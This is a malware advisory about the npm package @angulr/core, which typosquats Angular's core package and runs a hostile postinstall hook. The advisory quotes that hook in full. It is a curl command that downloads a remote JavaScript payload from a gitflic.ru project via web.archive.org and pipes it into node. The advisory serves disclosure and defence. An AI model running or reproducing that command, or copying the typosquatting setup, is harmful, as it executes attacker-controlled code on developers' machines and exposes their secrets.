npm · Malicious package advisory
Malware@angulr/core
GHSA-vx9x-cv7q-rq74
Malicious code in @angulr/core (npm)
Details
**Severity:** Critical **Affected versions:** `= 22.2.1` ## Source: amazon-inspector (c24dfd4b0a686b9056ff662e6fee53edfe23c7a94a5edf93fb4cace176216518) The npm package `@angulr/core` masquerades as Angular's `@angular/core` by cloning its package.json metadata (description 'Angular - the core framework', author 'angular', repository angular/angular, ng-update packageGroup) while shipping a hostile `postinstall` script. The postinstall hook runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js |... node`, piping an unpinned, remotely fetched JavaScript payload directly into Node at install time. The destination is a personal `hellscripter` project on gitflic.ru fronted via web.archive.org, unrelated to Angular's publisher. Any developer running `npm install @angulr/core` executes attacker-controlled code with the installer's privileges, with no integrity check and no pinning. --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e639495/osv/malicious/npm/@angulr/core/MAL-2026-17538.json)) **References:** - https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e639495/osv/malicious/npm/@angulr/core/MAL-2026-17538.json - https://www.npmjs.com/package/@angulr/core/v/22.2.1 - https://github.com/advisories/GHSA-vx9x-cv7q-rq74
Compromised versions (1)
- = 22.2.1
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.